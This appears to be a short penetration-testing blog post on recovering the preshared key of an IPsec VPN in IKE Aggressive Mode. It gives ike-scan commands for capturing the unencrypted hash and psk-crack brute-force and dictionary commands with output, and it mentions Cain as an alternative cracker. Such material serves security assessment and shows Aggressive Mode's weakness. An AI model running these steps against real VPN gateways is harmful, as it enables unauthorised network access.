In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It's possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.
This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such facts IKE aggressive mode is not very secure.
It looks like this:
$ sudo ike-scan 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)
Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).
0 returned handshake; 1 returned notify
$ sudo ike-scan -A 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ikescan/)
192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28cXXXXXXXXXXXXXXX (Cisco Unity) VID=afcad71368a1XXXXXXXXXXXXXXX(Dead Peer Detection v1.0) VID=06e7719XXXXXXXXXXXXXXXXXXXXXX VID=090026XXXXXXXXXX (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.207.134) Nonce(20 bytes) Hash(16 bytes)
To save with some output:
$ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key
Once you have you psk file to crack you're stuck with two options psk-crack and cain
psk-crack is fairly rudamentary to brute force:
$ psk-crack -b 5 192-168-207-134key
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations
no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)
Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=
$ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
Running in brute-force cracking modde
Brute force with 63 chars up to length 5 will take up to 992436543 iterations
To dictionary attack:
$ psk-crack -d /path/to/dictionary 192-168-207-134key
Running in dictionary cracking mode
no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)
You may find yourself wanting a bit more flexibility or options during bruteforcing or dictionary attacking (i.e. character substition). For this you'll need to use Cain. The problem I ran in to was Cain is a Windows tool and ike-scan is *nix. I couldnt get the windows tool that is floating around to work. Solution...run in vmware and have Cain sniff on your VMware interface. The PSK should show up in passwords of the sniffer tab, then you can select and "send to cracker". Its slow as hell, but more options than psk-crack.
